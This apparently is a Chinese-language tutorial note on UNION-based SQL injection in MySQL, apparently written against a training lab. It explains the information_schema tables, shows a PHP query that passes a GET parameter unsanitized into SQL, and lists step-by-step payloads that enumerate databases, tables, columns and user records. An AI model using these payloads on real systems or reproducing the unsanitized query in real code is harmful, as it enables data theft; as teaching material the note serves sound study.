1.MySQL相關
在MySQL 5+版本後,加入了information_schema這個庫,該庫存放了所有數據庫的信息
information_schema.columns
包含所有表的字段
字段
table_schema 數據庫名
table_name 表名
column_name 列名
information_schema.tables
包含所有庫的表名
字段
table_schema 數據庫名
table_name 表名
information_schema.schemata
包含所有數據庫的名
字段
schema_name 數據庫名
2.有回顯的SQL注入
執行SQL查詢,其結果能回顯到頁面中,那麼可直接進行有回顯的SQL注入
- 查詢語句
$id=$_GET['id'];
SELECT * FROM test WHERE id='$id' LIMIT 0,1;
- 判斷字段數
?id=1' ORDER BY 3--+
- 判斷顯示位
?id=-1' UNION SELECT 1,2,3--+
- 利用函數獲得信息
?id=-1 UNION SELECT 1,(version()),3--+
- 爆庫
?id=-1' UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--+ //用LIMIT來定位查詢,一個一個爆數據庫
?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--+ //用group_concat()實現一個顯示位爆出該字段下所有記錄
- 爆表
?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--+
- 爆字段
?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--+
- 爆數據
?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--+